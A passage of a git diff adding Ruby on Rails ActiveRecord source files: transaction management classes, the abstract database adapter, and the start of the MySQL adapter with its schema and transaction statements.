+      end
+
+      def set_state(state)
+        ActiveSupport::Deprecation.warn(<<-MSG.squish)
+          The set_state method is deprecated and will be removed in
+          Rails 6.0. Please use rollback! or commit! to set transaction
+          state directly.
+        MSG
+        case state
+        when :rolledback
+          rollback!
+        when :committed
+          commit!
+        when nil
+          nullify!
+        else
+          raise ArgumentError, "Invalid transaction state: #{state}"
+        end
+      end
+
+      def rollback!
+        @children.each { |c| c.rollback! }
+        @state = :rolledback
+      end
+
+      def commit!
+        @state = :committed
+      end
+
+      def nullify!
+        @state = nil
+      end
+    end
+
+    class NullTransaction #:nodoc:
+      def initialize; end
+      def state; end
+      def closed?; true; end
+      def open?; false; end
+      def joinable?; false; end
+      def add_record(record); end
+    end
+
+    class Transaction #:nodoc:
+      attr_reader :connection, :state, :records, :savepoint_name
+      attr_writer :joinable
+
+      def initialize(connection, options, run_commit_callbacks: false)
+        @connection = connection
+        @state = TransactionState.new
+        @records = []
+        @joinable = options.fetch(:joinable, true)
+        @run_commit_callbacks = run_commit_callbacks
+      end
+
+      def add_record(record)
+        records << record
+      end
+
+      def rollback
+        @state.rollback!
+      end
+
+      def rollback_records
+        ite = records.uniq
+        while record = ite.shift
+          record.rolledback!(force_restore_state: full_rollback?)
+        end
+      ensure
+        ite.each do |i|
+          i.rolledback!(force_restore_state: full_rollback?, should_run_callbacks: false)
+        end
+      end
+
+      def commit
+        @state.commit!
+      end
+
+      def before_commit_records
+        records.uniq.each(&:before_committed!) if @run_commit_callbacks
+      end
+
+      def commit_records
+        ite = records.uniq
+        while record = ite.shift
+          if @run_commit_callbacks
+            record.committed!
+          else
+            # if not running callbacks, only adds the record to the parent transaction
+            record.add_to_transaction
+          end
+        end
+      ensure
+        ite.each { |i| i.committed!(should_run_callbacks: false) }
+      end
+
+      def full_rollback?; true; end
+      def joinable?; @joinable; end
+      def closed?; false; end
+      def open?; !closed?; end
+    end
+
+    class SavepointTransaction < Transaction
+      def initialize(connection, savepoint_name, parent_transaction, options, *args)
+        super(connection, options, *args)
+
+        parent_transaction.state.add_child(@state)
+
+        if options[:isolation]
+          raise ActiveRecord::TransactionIsolationError, "cannot set transaction isolation in a nested transaction"
+        end
+        connection.create_savepoint(@savepoint_name = savepoint_name)
+      end
+
+      def rollback
+        connection.rollback_to_savepoint(savepoint_name)
+        super
+      end
+
+      def commit
+        connection.release_savepoint(savepoint_name)
+        super
+      end
+
+      def full_rollback?; false; end
+    end
+
+    class RealTransaction < Transaction
+      def initialize(connection, options, *args)
+        super
+        if options[:isolation]
+          connection.begin_isolated_db_transaction(options[:isolation])
+        else
+          connection.begin_db_transaction
+        end
+      end
+
+      def rollback
+        connection.rollback_db_transaction
+        super
+      end
+
+      def commit
+        connection.commit_db_transaction
+        super
+      end
+    end
+
+    class TransactionManager #:nodoc:
+      def initialize(connection)
+        @stack = []
+        @connection = connection
+      end
+
+      def begin_transaction(options = {})
+        @connection.lock.synchronize do
+          run_commit_callbacks = !current_transaction.joinable?
+          transaction =
+            if @stack.empty?
+              RealTransaction.new(@connection, options, run_commit_callbacks: run_commit_callbacks)
+            else
+              SavepointTransaction.new(@connection, "active_record_#{@stack.size}", @stack.last, options,
+                                       run_commit_callbacks: run_commit_callbacks)
+            end
+
+          @stack.push(transaction)
+          transaction
+        end
+      end
+
+      def commit_transaction
+        @connection.lock.synchronize do
+          transaction = @stack.last
+
+          begin
+            transaction.before_commit_records
+          ensure
+            @stack.pop
+          end
+
+          transaction.commit
+          transaction.commit_records
+        end
+      end
+
+      def rollback_transaction(transaction = nil)
+        @connection.lock.synchronize do
+          transaction ||= @stack.pop
+          transaction.rollback
+          transaction.rollback_records
+        end
+      end
+
+      def within_new_transaction(options = {})
+        @connection.lock.synchronize do
+          begin
+            transaction = begin_transaction options
+            yield
+          rescue Exception => error
+            if transaction
+              rollback_transaction
+              after_failure_actions(transaction, error)
+            end
+            raise
+          ensure
+            unless error
+              if Thread.current.status == "aborting"
+                rollback_transaction if transaction
+              else
+                begin
+                  commit_transaction
+                rescue Exception
+                  rollback_transaction(transaction) unless transaction.state.completed?
+                  raise
+                end
+              end
+            end
+          end
+        end
+      end
+
+      def open_transactions
+        @stack.size
+      end
+
+      def current_transaction
+        @stack.last || NULL_TRANSACTION
+      end
+
+      private
+
+        NULL_TRANSACTION = NullTransaction.new
+
+        # Deallocate invalidated prepared statements outside of the transaction
+        def after_failure_actions(transaction, error)
+          return unless transaction.is_a?(RealTransaction)
+          return unless error.is_a?(ActiveRecord::PreparedStatementCacheExpired)
+          @connection.clear_cache!
+        end
+    end
+  end
+end
diff --git a/activerecord/lib/active_record/connection_adapters/abstract_adapter.rb b/activerecord/lib/active_record/connection_adapters/abstract_adapter.rb
new file mode 100644
index 0000000000..7645cf7825
--- /dev/null
+++ b/activerecord/lib/active_record/connection_adapters/abstract_adapter.rb
@@ -0,0 +1,600 @@
+# frozen_string_literal: true
+
+require_relative "../type"
+require_relative "determine_if_preparable_visitor"
+require_relative "schema_cache"
+require_relative "sql_type_metadata"
+require_relative "abstract/schema_dumper"
+require_relative "abstract/schema_creation"
+require "arel/collectors/bind"
+require "arel/collectors/composite"
+require "arel/collectors/sql_string"
+require "arel/collectors/substitute_binds"
+
+module ActiveRecord
+  module ConnectionAdapters # :nodoc:
+    extend ActiveSupport::Autoload
+
+    autoload :Column
+    autoload :ConnectionSpecification
+
+    autoload_at "active_record/connection_adapters/abstract/schema_definitions" do
+      autoload :IndexDefinition
+      autoload :ColumnDefinition
+      autoload :ChangeColumnDefinition
+      autoload :ForeignKeyDefinition
+      autoload :TableDefinition
+      autoload :Table
+      autoload :AlterTable
+      autoload :ReferenceDefinition
+    end
+
+    autoload_at "active_record/connection_adapters/abstract/connection_pool" do
+      autoload :ConnectionHandler
+    end
+
+    autoload_under "abstract" do
+      autoload :SchemaStatements
+      autoload :DatabaseStatements
+      autoload :DatabaseLimits
+      autoload :Quoting
+      autoload :ConnectionPool
+      autoload :QueryCache
+      autoload :Savepoints
+    end
+
+    autoload_at "active_record/connection_adapters/abstract/transaction" do
+      autoload :TransactionManager
+      autoload :NullTransaction
+      autoload :RealTransaction
+      autoload :SavepointTransaction
+      autoload :TransactionState
+    end
+
+    # Active Record supports multiple database systems. AbstractAdapter and
+    # related classes form the abstraction layer which makes this possible.
+    # An AbstractAdapter represents a connection to a database, and provides an
+    # abstract interface for database-specific functionality such as establishing
+    # a connection, escaping values, building the right SQL fragments for +:offset+
+    # and +:limit+ options, etc.
+    #
+    # All the concrete database adapters follow the interface laid down in this class.
+    # {ActiveRecord::Base.connection}[rdoc-ref:ConnectionHandling#connection] returns an AbstractAdapter object, which
+    # you can use.
+    #
+    # Most of the methods in the adapter are useful during migrations. Most
+    # notably, the instance methods provided by SchemaStatements are very useful.
+    class AbstractAdapter
+      ADAPTER_NAME = "Abstract".freeze
+      include ActiveSupport::Callbacks
+      define_callbacks :checkout, :checkin
+
+      include Quoting, DatabaseStatements, SchemaStatements
+      include DatabaseLimits
+      include QueryCache
+      include ColumnDumper
+      include Savepoints
+
+      SIMPLE_INT = /\A\d+\z/
+
+      attr_accessor :visitor, :pool
+      attr_reader :schema_cache, :owner, :logger, :prepared_statements, :lock
+      alias :in_use? :owner
+
+      def self.type_cast_config_to_integer(config)
+        if config =~ SIMPLE_INT
+          config.to_i
+        else
+          config
+        end
+      end
+
+      def self.type_cast_config_to_boolean(config)
+        if config == "false"
+          false
+        else
+          config
+        end
+      end
+
+      def initialize(connection, logger = nil, config = {}) # :nodoc:
+        super()
+
+        @connection          = connection
+        @owner               = nil
+        @instrumenter        = ActiveSupport::Notifications.instrumenter
+        @logger              = logger
+        @config              = config
+        @pool                = nil
+        @schema_cache        = SchemaCache.new self
+        @quoted_column_names, @quoted_table_names = {}, {}
+        @visitor = arel_visitor
+        @lock = Monitor.new
+
+        if self.class.type_cast_config_to_boolean(config.fetch(:prepared_statements) { true })
+          @prepared_statements = true
+          @visitor.extend(DetermineIfPreparableVisitor)
+        else
+          @prepared_statements = false
+        end
+      end
+
+      class Version
+        include Comparable
+
+        def initialize(version_string)
+          @version = version_string.split(".").map(&:to_i)
+        end
+
+        def <=>(version_string)
+          @version <=> version_string.split(".").map(&:to_i)
+        end
+      end
+
+      def valid_type?(type) # :nodoc:
+        !native_database_types[type].nil?
+      end
+
+      # this method must only be called while holding connection pool's mutex
+      def lease
+        if in_use?
+          msg = "Cannot lease connection, ".dup
+          if @owner == Thread.current
+            msg << "it is already leased by the current thread."
+          else
+            msg << "it is already in use by a different thread: #{@owner}. " \
+                   "Current thread: #{Thread.current}."
+          end
+          raise ActiveRecordError, msg
+        end
+
+        @owner = Thread.current
+      end
+
+      def schema_cache=(cache)
+        cache.connection = self
+        @schema_cache = cache
+      end
+
+      # this method must only be called while holding connection pool's mutex
+      def expire
+        if in_use?
+          if @owner != Thread.current
+            raise ActiveRecordError, "Cannot expire connection, " \
+              "it is owned by a different thread: #{@owner}. " \
+              "Current thread: #{Thread.current}."
+          end
+
+          @owner = nil
+        else
+          raise ActiveRecordError, "Cannot expire connection, it is not currently leased."
+        end
+      end
+
+      # this method must only be called while holding connection pool's mutex (and a desire for segfaults)
+      def steal! # :nodoc:
+        if in_use?
+          if @owner != Thread.current
+            pool.send :remove_connection_from_thread_cache, self, @owner
+
+            @owner = Thread.current
+          end
+        else
+          raise ActiveRecordError, "Cannot steal connection, it is not currently leased."
+        end
+      end
+
+      def unprepared_statement
+        old_prepared_statements, @prepared_statements = @prepared_statements, false
+        yield
+      ensure
+        @prepared_statements = old_prepared_statements
+      end
+
+      # Returns the human-readable name of the adapter. Use mixed case - one
+      # can always use downcase if needed.
+      def adapter_name
+        self.class::ADAPTER_NAME
+      end
+
+      def supports_migrations? # :nodoc:
+        true
+      end
+      deprecate :supports_migrations?
+
+      def supports_primary_key? # :nodoc:
+        true
+      end
+      deprecate :supports_primary_key?
+
+      # Does this adapter support DDL rollbacks in transactions? That is, would
+      # CREATE TABLE or ALTER TABLE get rolled back by a transaction?
+      def supports_ddl_transactions?
+        false
+      end
+
+      def supports_bulk_alter?
+        false
+      end
+
+      # Does this adapter support savepoints?
+      def supports_savepoints?
+        false
+      end
+
+      # Does this adapter support application-enforced advisory locking?
+      def supports_advisory_locks?
+        false
+      end
+
+      # Should primary key values be selected from their corresponding
+      # sequence before the insert statement? If true, next_sequence_value
+      # is called before each insert to set the record's primary key.
+      def prefetch_primary_key?(table_name = nil)
+        false
+      end
+
+      # Does this adapter support index sort order?
+      def supports_index_sort_order?
+        false
+      end
+
+      # Does this adapter support partial indices?
+      def supports_partial_index?
+        false
+      end
+
+      # Does this adapter support expression indices?
+      def supports_expression_index?
+        false
+      end
+
+      # Does this adapter support explain?
+      def supports_explain?
+        false
+      end
+
+      # Does this adapter support setting the isolation level for a transaction?
+      def supports_transaction_isolation?
+        false
+      end
+
+      # Does this adapter support database extensions?
+      def supports_extensions?
+        false
+      end
+
+      # Does this adapter support creating indexes in the same statement as
+      # creating the table?
+      def supports_indexes_in_create?
+        false
+      end
+
+      # Does this adapter support creating foreign key constraints?
+      def supports_foreign_keys?
+        false
+      end
+
+      # Does this adapter support creating foreign key constraints
+      # in the same statement as creating the table?
+      def supports_foreign_keys_in_create?
+        supports_foreign_keys?
+      end
+
+      # Does this adapter support views?
+      def supports_views?
+        false
+      end
+
+      # Does this adapter support datetime with precision?
+      def supports_datetime_with_precision?
+        false
+      end
+
+      # Does this adapter support json data type?
+      def supports_json?
+        false
+      end
+
+      # Does this adapter support metadata comments on database objects (tables, columns, indexes)?
+      def supports_comments?
+        false
+      end
+
+      # Can comments for tables, columns, and indexes be specified in create/alter table statements?
+      def supports_comments_in_create?
+        false
+      end
+
+      # Does this adapter support multi-value insert?
+      def supports_multi_insert?
+        true
+      end
+
+      # Does this adapter support virtual columns?
+      def supports_virtual_columns?
+        false
+      end
+
+      # This is meant to be implemented by the adapters that support extensions
+      def disable_extension(name)
+      end
+
+      # This is meant to be implemented by the adapters that support extensions
+      def enable_extension(name)
+      end
+
+      # This is meant to be implemented by the adapters that support advisory
+      # locks
+      #
+      # Return true if we got the lock, otherwise false
+      def get_advisory_lock(lock_id) # :nodoc:
+      end
+
+      # This is meant to be implemented by the adapters that support advisory
+      # locks.
+      #
+      # Return true if we released the lock, otherwise false
+      def release_advisory_lock(lock_id) # :nodoc:
+      end
+
+      # A list of extensions, to be filled in by adapters that support them.
+      def extensions
+        []
+      end
+
+      # A list of index algorithms, to be filled by adapters that support them.
+      def index_algorithms
+        {}
+      end
+
+      # REFERENTIAL INTEGRITY ====================================
+
+      # Override to turn off referential integrity while executing <tt>&block</tt>.
+      def disable_referential_integrity
+        yield
+      end
+
+      # CONNECTION MANAGEMENT ====================================
+
+      # Checks whether the connection to the database is still active. This includes
+      # checking whether the database is actually capable of responding, i.e. whether
+      # the connection isn't stale.
+      def active?
+      end
+
+      # Disconnects from the database if already connected, and establishes a
+      # new connection with the database. Implementors should call super if they
+      # override the default implementation.
+      def reconnect!
+        clear_cache!
+        reset_transaction
+      end
+
+      # Disconnects from the database if already connected. Otherwise, this
+      # method does nothing.
+      def disconnect!
+        clear_cache!
+        reset_transaction
+      end
+
+      # Reset the state of this connection, directing the DBMS to clear
+      # transactions and other connection-related server-side state. Usually a
+      # database-dependent operation.
+      #
+      # The default implementation does nothing; the implementation should be
+      # overridden by concrete adapters.
+      def reset!
+        # this should be overridden by concrete adapters
+      end
+
+      ###
+      # Clear any caching the database adapter may be doing, for example
+      # clearing the prepared statement cache. This is database specific.
+      def clear_cache!
+        # this should be overridden by concrete adapters
+      end
+
+      # Returns true if its required to reload the connection between requests for development mode.
+      def requires_reloading?
+        false
+      end
+
+      # Checks whether the connection to the database is still active (i.e. not stale).
+      # This is done under the hood by calling #active?. If the connection
+      # is no longer active, then this method will reconnect to the database.
+      def verify!(*ignored)
+        if ignored.size > 0
+          ActiveSupport::Deprecation.warn("Passing arguments to #verify method of the connection has no effect and has been deprecated. Please remove all arguments from the #verify method call.")
+        end
+        reconnect! unless active?
+      end
+
+      # Provides access to the underlying database driver for this adapter. For
+      # example, this method returns a Mysql2::Client object in case of Mysql2Adapter,
+      # and a PG::Connection object in case of PostgreSQLAdapter.
+      #
+      # This is useful for when you need to call a proprietary method such as
+      # PostgreSQL's lo_* methods.
+      def raw_connection
+        @connection
+      end
+
+      def case_sensitive_comparison(table, attribute, column, value) # :nodoc:
+        table[attribute].eq(value)
+      end
+
+      def case_insensitive_comparison(table, attribute, column, value) # :nodoc:
+        if can_perform_case_insensitive_comparison_for?(column)
+          table[attribute].lower.eq(table.lower(value))
+        else
+          table[attribute].eq(value)
+        end
+      end
+
+      def can_perform_case_insensitive_comparison_for?(column)
+        true
+      end
+      private :can_perform_case_insensitive_comparison_for?
+
+      # Check the connection back in to the connection pool
+      def close
+        pool.checkin self
+      end
+
+      def column_name_for_operation(operation, node) # :nodoc:
+        visitor.accept(node, collector).value
+      end
+
+      def default_index_type?(index) # :nodoc:
+        index.using.nil?
+      end
+
+      private
+        def type_map
+          @type_map ||= Type::TypeMap.new.tap do |mapping|
+            initialize_type_map(mapping)
+          end
+        end
+
+        def initialize_type_map(m = type_map)
+          register_class_with_limit m, %r(boolean)i,       Type::Boolean
+          register_class_with_limit m, %r(char)i,          Type::String
+          register_class_with_limit m, %r(binary)i,        Type::Binary
+          register_class_with_limit m, %r(text)i,          Type::Text
+          register_class_with_precision m, %r(date)i,      Type::Date
+          register_class_with_precision m, %r(time)i,      Type::Time
+          register_class_with_precision m, %r(datetime)i,  Type::DateTime
+          register_class_with_limit m, %r(float)i,         Type::Float
+          register_class_with_limit m, %r(int)i,           Type::Integer
+
+          m.alias_type %r(blob)i,      "binary"
+          m.alias_type %r(clob)i,      "text"
+          m.alias_type %r(timestamp)i, "datetime"
+          m.alias_type %r(numeric)i,   "decimal"
+          m.alias_type %r(number)i,    "decimal"
+          m.alias_type %r(double)i,    "float"
+
+          m.register_type(%r(decimal)i) do |sql_type|
+            scale = extract_scale(sql_type)
+            precision = extract_precision(sql_type)
+
+            if scale == 0
+              # FIXME: Remove this class as well
+              Type::DecimalWithoutScale.new(precision: precision)
+            else
+              Type::Decimal.new(precision: precision, scale: scale)
+            end
+          end
+        end
+
+        def reload_type_map
+          type_map.clear
+          initialize_type_map
+        end
+
+        def register_class_with_limit(mapping, key, klass)
+          mapping.register_type(key) do |*args|
+            limit = extract_limit(args.last)
+            klass.new(limit: limit)
+          end
+        end
+
+        def register_class_with_precision(mapping, key, klass)
+          mapping.register_type(key) do |*args|
+            precision = extract_precision(args.last)
+            klass.new(precision: precision)
+          end
+        end
+
+        def extract_scale(sql_type)
+          case sql_type
+          when /\((\d+)\)/ then 0
+          when /\((\d+)(,(\d+))\)/ then $3.to_i
+          end
+        end
+
+        def extract_precision(sql_type)
+          $1.to_i if sql_type =~ /\((\d+)(,\d+)?\)/
+        end
+
+        def extract_limit(sql_type)
+          case sql_type
+          when /^bigint/i
+            8
+          when /\((.*)\)/
+            $1.to_i
+          end
+        end
+
+        def translate_exception_class(e, sql)
+          begin
+            message = "#{e.class.name}: #{e.message}: #{sql}"
+          rescue Encoding::CompatibilityError
+            message = "#{e.class.name}: #{e.message.force_encoding sql.encoding}: #{sql}"
+          end
+
+          exception = translate_exception(e, message)
+          exception.set_backtrace e.backtrace
+          exception
+        end
+
+        def log(sql, name = "SQL", binds = [], type_casted_binds = [], statement_name = nil) # :doc:
+          @instrumenter.instrument(
+            "sql.active_record",
+            sql:               sql,
+            name:              name,
+            binds:             binds,
+            type_casted_binds: type_casted_binds,
+            statement_name:    statement_name,
+            connection_id:     object_id) do
+            begin
+              @lock.synchronize do
+                yield
+              end
+            rescue => e
+              raise translate_exception_class(e, sql)
+            end
+          end
+        end
+
+        def translate_exception(exception, message)
+          # override in derived class
+          case exception
+          when RuntimeError
+            exception
+          else
+            ActiveRecord::StatementInvalid.new(message)
+          end
+        end
+
+        def without_prepared_statement?(binds)
+          !prepared_statements || binds.empty?
+        end
+
+        def column_for(table_name, column_name)
+          column_name = column_name.to_s
+          columns(table_name).detect { |c| c.name == column_name } ||
+            raise(ActiveRecordError, "No such column: #{table_name}.#{column_name}")
+        end
+
+        def collector
+          if prepared_statements
+            Arel::Collectors::Composite.new(
+              Arel::Collectors::SQLString.new,
+              Arel::Collectors::Bind.new,
+            )
+          else
+            Arel::Collectors::SubstituteBinds.new(
+              self,
+              Arel::Collectors::SQLString.new,
+            )
+          end
+        end
+
+        def arel_visitor
+          Arel::Visitors::ToSql.new(self)
+        end
+    end
+  end
+end
diff --git a/activerecord/lib/active_record/connection_adapters/abstract_mysql_adapter.rb b/activerecord/lib/active_record/connection_adapters/abstract_mysql_adapter.rb
new file mode 100644
index 0000000000..8a9c497918
--- /dev/null
+++ b/activerecord/lib/active_record/connection_adapters/abstract_mysql_adapter.rb
@@ -0,0 +1,888 @@
+# frozen_string_literal: true
+
+require_relative "abstract_adapter"
+require_relative "statement_pool"
+require_relative "mysql/column"
+require_relative "mysql/explain_pretty_printer"
+require_relative "mysql/quoting"
+require_relative "mysql/schema_creation"
+require_relative "mysql/schema_definitions"
+require_relative "mysql/schema_dumper"
+require_relative "mysql/schema_statements"
+require_relative "mysql/type_metadata"
+
+require "active_support/core_ext/string/strip"
+
+module ActiveRecord
+  module ConnectionAdapters
+    class AbstractMysqlAdapter < AbstractAdapter
+      include MySQL::Quoting
+      include MySQL::ColumnDumper
+      include MySQL::SchemaStatements
+
+      def update_table_definition(table_name, base) # :nodoc:
+        MySQL::Table.new(table_name, base)
+      end
+
+      ##
+      # :singleton-method:
+      # By default, the Mysql2Adapter will consider all columns of type <tt>tinyint(1)</tt>
+      # as boolean. If you wish to disable this emulation you can add the following line
+      # to your application.rb file:
+      #
+      #   ActiveRecord::ConnectionAdapters::Mysql2Adapter.emulate_booleans = false
+      class_attribute :emulate_booleans, default: true
+
+      NATIVE_DATABASE_TYPES = {
+        primary_key: "bigint auto_increment PRIMARY KEY",
+        string:      { name: "varchar", limit: 255 },
+        text:        { name: "text", limit: 65535 },
+        integer:     { name: "int", limit: 4 },
+        float:       { name: "float" },
+        decimal:     { name: "decimal" },
+        datetime:    { name: "datetime" },
+        timestamp:   { name: "timestamp" },
+        time:        { name: "time" },
+        date:        { name: "date" },
+        binary:      { name: "blob", limit: 65535 },
+        boolean:     { name: "tinyint", limit: 1 },
+        json:        { name: "json" },
+      }
+
+      class StatementPool < ConnectionAdapters::StatementPool
+        private def dealloc(stmt)
+          stmt[:stmt].close
+        end
+      end
+
+      def initialize(connection, logger, connection_options, config)
+        super(connection, logger, config)
+
+        @statements = StatementPool.new(self.class.type_cast_config_to_integer(config[:statement_limit]))
+
+        if version < "5.1.10"
+          raise "Your version of MySQL (#{version_string}) is too old. Active Record supports MySQL >= 5.1.10."
+        end
+      end
+
+      def version #:nodoc:
+        @version ||= Version.new(version_string)
+      end
+
+      def mariadb? # :nodoc:
+        /mariadb/i.match?(full_version)
+      end
+
+      def supports_bulk_alter? #:nodoc:
+        true
+      end
+
+      def supports_index_sort_order?
+        !mariadb? && version >= "8.0.1"
+      end
+
+      def supports_transaction_isolation?
+        true
+      end
+
+      def supports_explain?
+        true
+      end
+
+      def supports_indexes_in_create?
+        true
+      end
+
+      def supports_foreign_keys?
+        true
+      end
+
+      def supports_views?
+        true
+      end
+
+      def supports_datetime_with_precision?
+        if mariadb?
+          version >= "5.3.0"
+        else
+          version >= "5.6.4"
+        end
+      end
+
+      def supports_virtual_columns?
+        if mariadb?
+          version >= "5.2.0"
+        else
+          version >= "5.7.5"
+        end
+      end
+
+      def supports_advisory_locks?
+        true
+      end
+
+      def get_advisory_lock(lock_name, timeout = 0) # :nodoc:
+        query_value("SELECT GET_LOCK(#{quote(lock_name)}, #{timeout})") == 1
+      end
+
+      def release_advisory_lock(lock_name) # :nodoc:
+        query_value("SELECT RELEASE_LOCK(#{quote(lock_name)})") == 1
+      end
+
+      def native_database_types
+        NATIVE_DATABASE_TYPES
+      end
+
+      def index_algorithms
+        { default: "ALGORITHM = DEFAULT".dup, copy: "ALGORITHM = COPY".dup, inplace: "ALGORITHM = INPLACE".dup }
+      end
+
+      # HELPER METHODS ===========================================
+
+      # The two drivers have slightly different ways of yielding hashes of results, so
+      # this method must be implemented to provide a uniform interface.
+      def each_hash(result) # :nodoc:
+        raise NotImplementedError
+      end
+
+      # Must return the MySQL error number from the exception, if the exception has an
+      # error number.
+      def error_number(exception) # :nodoc:
+        raise NotImplementedError
+      end
+
+      # REFERENTIAL INTEGRITY ====================================
+
+      def disable_referential_integrity #:nodoc:
+        old = query_value("SELECT @@FOREIGN_KEY_CHECKS")
+
+        begin
+          update("SET FOREIGN_KEY_CHECKS = 0")
+          yield
+        ensure
+          update("SET FOREIGN_KEY_CHECKS = #{old}")
+        end
+      end
+
+      # CONNECTION MANAGEMENT ====================================
+
+      # Clears the prepared statements cache.
+      def clear_cache!
+        reload_type_map
+        @statements.clear
+      end
+
+      #--
+      # DATABASE STATEMENTS ======================================
+      #++
+
+      def explain(arel, binds = [])
+        sql, binds = to_sql(arel, binds)
+        sql     = "EXPLAIN #{sql}"
+        start   = Time.now
+        result  = exec_query(sql, "EXPLAIN", binds)
+        elapsed = Time.now - start
+
+        MySQL::ExplainPrettyPrinter.new.pp(result, elapsed)
+      end
+
+      # Executes the SQL statement in the context of this connection.
+      def execute(sql, name = nil)
+        log(sql, name) do
+          ActiveSupport::Dependencies.interlock.permit_concurrent_loads do
+            @connection.query(sql)
+          end
+        end
+      end
+
+      # Mysql2Adapter doesn't have to free a result after using it, but we use this method
+      # to write stuff in an abstract way without concerning ourselves about whether it
+      # needs to be explicitly freed or not.
+      def execute_and_free(sql, name = nil) # :nodoc:
+        yield execute(sql, name)
+      end
+
+      def begin_db_transaction
+        execute "BEGIN"
+      end
+
+      def begin_isolated_db_transaction(isolation)
+        execute "SET TRANSACTION ISOLATION LEVEL #{transaction_isolation_levels.fetch(isolation)}"
+        begin_db_transaction
+      end
+
+      def commit_db_transaction #:nodoc:
+        execute "COMMIT"
+      end
+
+      def exec_rollback_db_transaction #:nodoc:
+        execute "ROLLBACK"
+      end
+
+      # In the simple case, MySQL allows us to place JOINs directly into the UPDATE
+      # query. However, this does not allow for LIMIT, OFFSET and ORDER. To support
+      # these, we must use a subquery.
+      def join_to_update(update, select, key) # :nodoc:
+        if select.limit || select.offset || select.orders.any?
+          super
+        else
+          update.table select.source
+          update.wheres = select.constraints
+        end
+      end
+
+      def empty_insert_statement_value
+        "VALUES ()"
+      end
+
+      # SCHEMA STATEMENTS ========================================
+
+      # Drops the database specified on the +name+ attribute
+      # and creates it again using the provided +options+.
+      def recreate_database(name, options = {})
+        drop_database(name)
+        sql = create_database(name, options)
+        reconnect!
+        sql
+      end
+
+      # Create a new MySQL database with optional <tt>:charset</tt> and <tt>:collation</tt>.
+      # Charset defaults to utf8.
+      #
+      # Example:
+      #   create_database 'charset_test', charset: 'latin1', collation: 'latin1_bin'
+      #   create_database 'matt_development'
+      #   create_database 'matt_development', charset: :big5
+      def create_database(name, options = {})
+        if options[:collation]
+          execute "CREATE DATABASE #{quote_table_name(name)} DEFAULT CHARACTER SET #{quote_table_name(options[:charset] || 'utf8')} COLLATE #{quote_table_name(options[:collation])}"
+        else
+          execute "CREATE DATABASE #{quote_table_name(name)} DEFAULT CHARACTER SET #{quote_table_name(options[:charset] || 'utf8')}"
+        end
+      end
+
+      # Drops a MySQL database.
+      #
+      # Example:
+      #   drop_database('sebastian_development')
+      def drop_database(name) #:nodoc:
+        execute "DROP DATABASE IF EXISTS #{quote_table_name(name)}"
+      end
+
+      def current_database
+        query_value("SELECT database()", "SCHEMA")
+      end
+
+      # Returns the database character set.
+      def charset
+        show_variable "character_set_database"
+      end
+
+      # Returns the database collation strategy.
+      def collation
+        show_variable "collation_database"
+      end
+
+      def truncate(table_name, name = nil)
+        execute "TRUNCATE TABLE #{quote_table_name(table_name)}", name
+      end
+
+      def table_comment(table_name) # :nodoc:
+        scope = quoted_scope(table_name)
+
+        query_value(<<-SQL.strip_heredoc, "SCHEMA")
+          SELECT table_comment
+          FROM information_schema.tables
+          WHERE table_schema = #{scope[:schema]}
+            AND table_name = #{scope[:name]}
+        SQL
+      end
+
+      def create_table(table_name, **options) #:nodoc:
+        super(table_name, options: "ENGINE=InnoDB", **options)
+      end
+
+      def bulk_change_table(table_name, operations) #:nodoc:
+        sqls = operations.flat_map do |command, args|
+          table, arguments = args.shift, args
+          method = :"#{command}_sql"
+
+          if respond_to?(method, true)
+            send(method, table, *arguments)
+          else
+            raise "Unknown method called : #{method}(#{arguments.inspect})"
+          end
+        end.join(", ")
+
+        execute("ALTER TABLE #{quote_table_name(table_name)} #{sqls}")
+      end
+
+      # Renames a table.
+      #
+      # Example:
+      #   rename_table('octopuses', 'octopi')
+      def rename_table(table_name, new_name)
+        execute "RENAME TABLE #{quote_table_name(table_name)} TO #{quote_table_name(new_name)}"
+        rename_table_indexes(table_name, new_name)
+      end
+
+      # Drops a table from the database.
+      #
+      # [<tt>:force</tt>]
+      #   Set to +:cascade+ to drop dependent objects as well.
+      #   Defaults to false.
+      # [<tt>:if_exists</tt>]
+      #   Set to +true+ to only drop the table if it exists.
+      #   Defaults to false.
+      # [<tt>:temporary</tt>]
+      #   Set to +true+ to drop temporary table.
+      #   Defaults to false.
+      #
+      # Although this command ignores most +options+ and the block if one is given,
+      # it can be helpful to provide these in a migration's +change+ method so it can be reverted.
+      # In that case, +options+ and the block will be used by create_table.
+      def drop_table(table_name, options = {})
+        execute "DROP#{' TEMPORARY' if options[:temporary]} TABLE#{' IF EXISTS' if options[:if_exists]} #{quote_table_name(table_name)}#{' CASCADE' if options[:force] == :cascade}"
+      end
+
+      def rename_index(table_name, old_name, new_name)
+        if supports_rename_index?
+          validate_index_length!(table_name, new_name)
+
+          execute "ALTER TABLE #{quote_table_name(table_name)} RENAME INDEX #{quote_table_name(old_name)} TO #{quote_table_name(new_name)}"
+        else
+          super
+        end
+      end
+
+      def change_column_default(table_name, column_name, default_or_changes) #:nodoc:
+        default = extract_new_default_value(default_or_changes)
+        column = column_for(table_name, column_name)
+        change_column table_name, column_name, column.sql_type, default: default
+      end
+
+      def change_column_null(table_name, column_name, null, default = nil) #:nodoc:
+        column = column_for(table_name, column_name)
+
+        unless null || default.nil?
+          execute("UPDATE #{quote_table_name(table_name)} SET #{quote_column_name(column_name)}=#{quote(default)} WHERE #{quote_column_name(column_name)} IS NULL")
+        end
+
+        change_column table_name, column_name, column.sql_type, null: null
+      end
+
+      def change_column(table_name, column_name, type, options = {}) #:nodoc:
+        execute("ALTER TABLE #{quote_table_name(table_name)} #{change_column_sql(table_name, column_name, type, options)}")
+      end
+
+      def rename_column(table_name, column_name, new_column_name) #:nodoc:
+        execute("ALTER TABLE #{quote_table_name(table_name)} #{rename_column_sql(table_name, column_name, new_column_name)}")
+        rename_column_indexes(table_name, column_name, new_column_name)
+      end
+
+      def add_index(table_name, column_name, options = {}) #:nodoc:
+        index_name, index_type, index_columns, _, index_algorithm, index_using, comment = add_index_options(table_name, column_name, options)
+        sql = "CREATE #{index_type} INDEX #{quote_column_name(index_name)} #{index_using} ON #{quote_table_name(table_name)} (#{index_columns}) #{index_algorithm}".dup
+        execute add_sql_comment!(sql, comment)
+      end
+
+      def add_sql_comment!(sql, comment) # :nodoc:
+        sql << " COMMENT #{quote(comment)}" if comment.present?
+        sql
+      end
+
+      def foreign_keys(table_name)
+        raise ArgumentError unless table_name.present?
+
+        scope = quoted_scope(table_name)
+
+        fk_info = exec_query(<<-SQL.strip_heredoc, "SCHEMA")
+          SELECT fk.referenced_table_name AS 'to_table',
+                 fk.referenced_column_name AS 'primary_key',
+                 fk.column_name AS 'column',
